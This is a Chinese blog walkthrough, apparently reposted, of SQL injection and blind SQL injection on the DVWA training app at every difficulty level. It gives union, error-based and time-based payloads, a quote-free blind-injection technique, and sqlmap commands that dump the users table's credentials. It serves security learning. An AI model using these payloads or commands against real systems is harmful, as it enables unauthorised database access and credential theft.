dvwa:sql注入、sql盲注全难度解析

sql注入

easy
单引号闭合
id=2' and if(1=1,sleep(3),1) and '1'='1
​
联合注入:
id=2' union select database(),user() --+
​
报错注入:
id=2' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
medium
mysql_real_escape_string() 调用 mysql 库的函数 mysql_real_escape_string, 在以下字符前添加反斜线:\x00、\n、\r、\、'、" 和 \x1a.
​
数字无闭合
id=1 and if(1=1,sleep(1),1)
​
报错注入
id=2-(updatexml(1,concat(0x7e,database(),0x7e),1))
​
联合注入
id=2 union select database(),user()
high
表单和回显不在同一页面,不过对我们来说问题不大
​
单引号闭合
1' and if(1=1,sleep(1),1) and '1'='1
​
联合注入:
id=0' union select user(),2 and '1'='1
​
id=0' union select concat(database(),0x7e,user()),2 and '1'='1
​
报错注入:
id=2' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
impossible
对id进行检查,id是否为数字
使用预处理的方式进行sql操作

sql盲注easy

使用之前写的脚本爆出来的内容:

当然这个脚本是学习sql注入期间写的,不进行任何功能性和稳定性维护,况且我也不懂什么高内聚、低耦合,没把它做成一个大型工具,总的来说,虽然这个工具花费我1天时间完成,但不影响它是个史,我们来使用sqlmap,开始梭哈

先夸夸sqlmap,因为真正经历过sql注入脚本的开发,绝对不是打广告:
1.高度自动化,几乎从扫描阶段到渗透阶段都是自动化完成的
2.高度自定义,自定义AGENT或HEADER等只要是数据包内容都可以自定义,而且可以提供一个数据包文件自动进行注入
3.功能繁多且强大,绕过waf、使用代理、udf提取很多很多等
4.持续性维护
爆数据库:
sqlmap -u "http://www.oswe.com/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --headers="Cookie: security=low; PHPSESSID=vatu6mod78tfhn8r2kqni2i4bg" --dbs --batch --proxy=http://127.0.0.1:8080/

 

报表:
sqlmap -u "http://www.oswe.com/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --headers="Cookie: security=low; PHPSESSID=vatu6mod78tfhn8r2kqni2i4bg" --batch --proxy=http://127.0.0.1:8080/ -D dvwa -tables

 

爆字段:
sqlmap -u "http://www.oswe.com/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --headers="Cookie: security=low; PHPSESSID=vatu6mod78tfhn8r2kqni2i4bg" --batch --proxy=http://127.0.0.1:8080/ -D dvwa -T users -columns

 

sqlmap -u "http://www.oswe.com/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --headers="Cookie: security=low; PHPSESSID=vatu6mod78tfhn8r2kqni2i4bg" --batch --proxy=http://127.0.0.1:8080/ -D dvwa -T users -C "user,password" -dump

 

sql盲注medium

medium模式将单双引号给处理了,如下mysql_real_escape_string() 调用 mysql 库的函数 mysql_real_escape_string, 在以下字符前添加反斜线:\x00、\n、\r、\、'、" 和 \x1a.但是这是数字无闭合的,但凡是有引号闭合的,第一步就直接死了,id=1 and 1=1   # 测试既然是数字无闭合,那如何在这种情况下,在爆表和字段的时候也避免使用引号呢?答:使用二分查找法其实可以避免使用引号,因为ascii编码不需要使用引号来判断字符,二分查找法类似猜数字同时使用16进制对字符进行编码,整个过程如下爆数据库长度及数据库(int_foo表示二分查找法猜的数字)(char_foo表示要猜的字符的ascii码值)(int_foo2表示从0开始的数字,因为猜字符是从第1位开始猜,比如"dvwa"中的'd'):1 and int_foo>length(database())       # 数据库长度1 and char_foo>ascii(substr(database(),int_foo2,1))爆表长度及表名:1 and int_foo>(SELECT CHAR_LENGTH(group_concat(table_name)) AS result_length FROM information_schema.tables WHERE table_schema=" + hex_str(db_result) + ")"1 and char_foo>ascii(substr((SELECT group_concat(table_name) from information_schema.tables where table_schema=" + hex_str(db_result) + "),int_foo2,1))可以看到以上payload没有使用任何一个引号就能完成报表和数据库,接下来爆字段和数据也类似
如果你要开发一个sql注入工具必须要采用以上的思路,我爆出的数据如下:

 

当然我们要使用sqlmap也要跑一下

抓包保存到名raj文件,raj内容参考如下:
​
sqlmap -r raj --dbs -batch

 

开始梭哈:
sqlmap -r raj -dbs --batch
​
sqlmap -r raj --batch -D dvwa -tables
​
sqlmap -r raj --batch -D dvwa -T users -columns --proxy=http://127.0.0.1:8080
​
sqlmap -r raj --batch -D dvwa -T users -C "user,password" -dump --proxy=http://127.0.0.1:8080

sql盲注high

这一次注入点在cookie中,保存数据包为raj2
GET /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: www.oswe.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.oswe.com/dvwa/security.php
Connection: close
Cookie: id=2; security=high; PHPSESSID=vatu6mod78tfhn8r2kqni2i4bg
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
​
原因是:/dvwa/vulnerabilities/sqli_blind/cookie-input.php 这个页面提供查询接口,然后这个网页再携带cookie向/dvwa/vulnerabilities/sqli_blind/发送如上请求,后/dvwa/vulnerabilities/sqli_blind/再回显结果
​
那我们只需要构造如上请求即可
sqlmap -r raj2 -dbs --batch --level=5 -risk=3 -dbms=mysql
​
sqlmap -r raj2 --batch --level=5 -risk=3 -dbms mysql -D dvwa -tables
​
sqlmap -r raj2 --batch --level=5 -dbms mysql -D dvwa -T users -columns
​
sqlmap -r raj2 --batch --level=5 -dbms mysql -D dvwa -T users -C "user,password" -dump

sql盲注impossible

对id进行检查,id是否为数字并且使用预处理的方式进行sql操作

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1559770.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

gbase8s的事务、并发控制、锁机制、隔离级别

一、事务概念 事务是指作为单个逻辑工作单元执行的一系列操作。事务处理可以确保除非事务性单元内的所有操作都成功完成,否则不会永久更新面向数据的资源。通过将一组相关操作组合为一个要么全部成功要么全部失败的单元,可以简化错误恢复并使应用程序更…

SpringBoot美发店解决方案:打造智能门店

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及,互联网成为人们查找信息的重要场所,二十一世纪是信息的时代,所以信息的管理显得特别重要。因此,使用计算机来管理美发门店管理系统的相关信息成为必然。开发…

收银系统源码营销活动-商品组合套餐

1. 功能描述 商品组合套餐:商家可以把不同的商品组合成套餐在收银台售卖,同时可以利用该套餐做一些会员拉新活动,如设置该活动仅限会员用户才可以购买等。还可以针对套餐的商品选择进行设置,如超市开业活动,价值19.8元…

JVM性能调优-JVM工具使用

命令行工具 jps jps -q 只看进程id jps -l 显示java进程的完整类名 jps -m 查看传递给主类main()的参数 jps -v 列出虚拟机启动时的jvm参数 以上参数可以组合使用 jstat 查看JVM统计信息 例:jstat -gc -t 19788 1000 10 -gc:打印gc统计信息 ;-t&am…

微信+AI应用平台之BotChoice 插件实现灵活调用扣子、dify

github地址:https://github.com/javak8/bot_choice.git 说明 BotChoice项目插件是作者原创插件, 根据提示词调用不同bot/model,可以实现多指令执行 目前bot/model只支持openai接口规范 可以多指令执行 ,比如: /热点文案 /搜图片 杭州超市…

【Elasticsearch 实战与原理解析】好书推荐

Elasticsearch 实战与原理解析 在当今这个信息爆炸的时代,数据的存储、检索和分析变得越来越重要。Elasticsearch,作为一个基于 Lucene 的开源搜索引擎,以其强大的全文搜索能力、分布式特性和易用性,成为了数据检索领域的佼佼者。…

基于Java实现(APP)智能停车场管理系统

移动应用开发系统设计说明书(智能停车场管理系统) 服务集成流程详细设计 实现功能 序号功能点1新增用户2注册用户3修改场地信息4列出场地信息5新增认证车辆6列出认证车辆7删除认证车辆8车辆进入信息录入9停车记录列表展示10出停车场信息录入 参数说明…

SOMEIP_ETS_178: Subscribe_using_wrong_SOMEIP_MessageID

测试目的: 验证DUT能够拒绝一个SOME/IP头部使用错误消息ID进行服务发现的SubscribeEventgroup消息,并以SubscribeEventgroupNAck作为响应。 描述 本测试用例旨在确保DUT遵循SOME/IP协议,当接收到一个使用错误消息ID的服务发现SubscribeEve…

找不到opencl.dll怎么办,4种有效的方法教你解决

1. OpenCL.dll 概述 1.1 定义与作用 OpenCL.dll 是 Open Computing Language(开放计算语言)的一个关键组件,它是一个动态链接库(DLL)文件,对实现 OpenCL 标准至关重要。OpenCL.dll 文件通常位于 Windows …

论文阅读:OpenSTL: A Comprehensive Benchmark of Spatio-Temporal Predictive Learning

论文地址:arxiv 摘要 由于时空预测没有标准化的比较,所以为了解决这个问题,作者提出了 OpenSTL,这是一个全面的时空预测学习基准。它将流行的方法分为基于循环和非循环模型两类。OpenSTL提供了一个模块化且可扩展的框架&#xff…

【Hadoop之Yarn】Yarn的搭建流程、概念和组成部分 以及 Yarn的历史日志jobHistory配置和三种调度器

文章目录 一、Yarn的搭建1、修改mapred-site.xml2、修改yarn-site.xml3、检查hadoop-env.sh 中是否配置了权限4、分发mapred-site.xml & yarn-site.xml 到另外两台节点上5、启动和停止yarn平台:6、同时启动hdfs和yarn:7、启动后jps进程(包…

【一文讲透(番外篇)】如何编译安装KWDB v2.0.4数据库

KaiwuDB 浪潮集团是中国领先的云计算、大数据服务商,拥有浪潮信息、浪潮软件、浪潮数字企业三家上市公司。主要业务涉及计算装备、软件、云计算服务、新一代通信、大数据及若干应用场景。已为全球一百二十多个国家和地区提供IT产品和服务。 KaiwuDB 是浪潮控股的数据…

【Power Compiler手册】13.UPF多电压设计实现(16)

Golden UPF流程 Golden UPF流程是维护设计中UPF多电压电源意图的可选方法。它在整个综合、物理实现和验证步骤中使用原始的“Golden”UPF文件,以及由Design Compiler和IC Compiler II工具生成的supplemental UPF文件。图122比较了传统的UPF流程与Golden UPF流程。 Golden UPF…

如何提高LabVIEW编程效率

提高LabVIEW编程效率对开发者来说非常重要,尤其是在处理复杂项目或紧迫的开发周期时。以下是一些可以显著提升LabVIEW编程效率的技巧,从代码结构、工具使用到团队协作的多个角度进行详细分析: 1. 模块化设计 模块化设计 是提高代码可维护性和…

KPaaS平台多系统权限统一管理的便利性

多系统权限管理的困境如同枷锁般束缚企业发展,导致管理效率低下、操作流程复杂且权限不一致,给员工和企业带来诸多不便与风险。 免费体验多系统权限管理系统 www.kpaas.net 多系统权限给企业带来的不便利 (一)繁琐的登录与操作流…

食堂订餐系统小程序的设计

管理员账户功能包括:系统首页,个人中心,管理员管理,商品管理,论坛管理,攻略信息管理,公告信息管理,基础数据管理 微信端账号功能包括:系统首页,商品&#xf…

windows端口被占用但是查不到进程的问题排查

在开发环境上经常遇到端口被占用,但是 netstat -ano|findstr 3306 查不到进程号,没法强杀解决。 这种情况,很有可能端口被排除了,可用命令: netsh interface ipv4 show excludedportrange protocoltcp 可以看到mysql的…

[Git] Git下载及使用 从入门到精通 详解(附下载链接)

前言 目录 Git概述 简介 下载 Git代码托管服务 Git常用命令 Git全局配置 获取Git仓库 在本地初始化一个Git仓库 从远程仓库克隆 基本概念 工作区文件状态 本地仓库操作 远程仓库操作 分支操作 标签操作 在IDEA中使用Git 在IDEA中配置Git 本地仓库操作 远程仓…

前端基础(三十九):撤消与重做

效果 源码 <button id"undo" onclick"onHistory(-1)">撤消</button> <button id"redo" onclick"onHistory(1)">重做</button><button onclick"operation(Operation 1)">操作1</button>…

蓝牙定位的MATLAB程序,四个锚点、三维空间

目录 程序描述 运行结果 程序描述 这段代码通过RSSI信号强度实现了在三维空间中的蓝牙定位&#xff0c;展示了如何使用锚点位置和测量的信号强度来估计未知点的位置。代码涉及信号衰减模型、距离计算和最小二乘法估计等基本概念&#xff0c;并通过三维可视化展示了真实位置与…